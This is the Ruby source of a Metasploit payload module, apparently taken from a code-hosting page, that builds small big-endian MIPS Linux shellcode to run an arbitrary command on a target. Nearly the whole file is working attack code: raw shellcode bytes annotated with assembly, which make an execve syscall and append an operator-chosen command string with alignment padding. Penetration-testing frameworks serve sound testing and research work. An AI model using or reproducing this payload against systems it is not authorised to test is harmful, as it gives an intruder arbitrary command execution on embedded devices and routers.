bcoles
78 lines
1.9 KiB
Ruby
78 lines
1.9 KiB
Ruby
# -*- coding: binary -*-
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 52
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include Msf::Payload::Single
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def initialize(info = {})
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super(
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merge_info(
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info,
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'Name' => 'Linux Execute Command',
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'Description' => %q{
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A very small shellcode for executing commands.
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This module is sometimes helpful for testing purposes.
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},
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'Author' => [
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'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload
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'entropy@phiral.net' # original payload
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],
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'References' => [
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['EDB', '17940']
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'Payload' => {
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'Offsets' => {},
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'Payload' => ''
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}
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)
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)
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register_options(
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[
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OptString.new('CMD', [ true, 'The command string to execute' ]),
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]
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)
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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return datastore['CMD'] || ''
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end
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def generate(_opts = {})
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shellcode =
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"\x24\x06\x06\x66" + # li a2,1638
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"\x04\xd0\xff\xff" + # bltzal a2,4100b4
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"\x28\x06\xff\xff" + # slti a2,zero,-1
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"\x27\xbd\xff\xe0" + # addiu sp,sp,-32
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"\x27\xe4\x10\x01" + # addiu a0,ra,4097
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"\x24\x84\xf0\x1f" + # addiu a0,a0,-4065
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"\xaf\xa4\xff\xe8" + # sw a0,-24(sp)
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"\xaf\xa0\xff\xec" + # sw zero,-20(sp)
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"\x27\xa5\xff\xe8" + # addiu a1,sp,-24
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"\x24\x02\x0f\xab" + # li v0,4011
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"\x01\x01\x01\x0c" # syscall 0x40404
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#
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# Constructs the payload
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#
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shellcode = shellcode + command_string + "\x00"
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# we need to align our shellcode to 4 bytes
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shellcode += "\x00" while shellcode.bytesize % 4 != 0
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return super + shellcode
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end
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end
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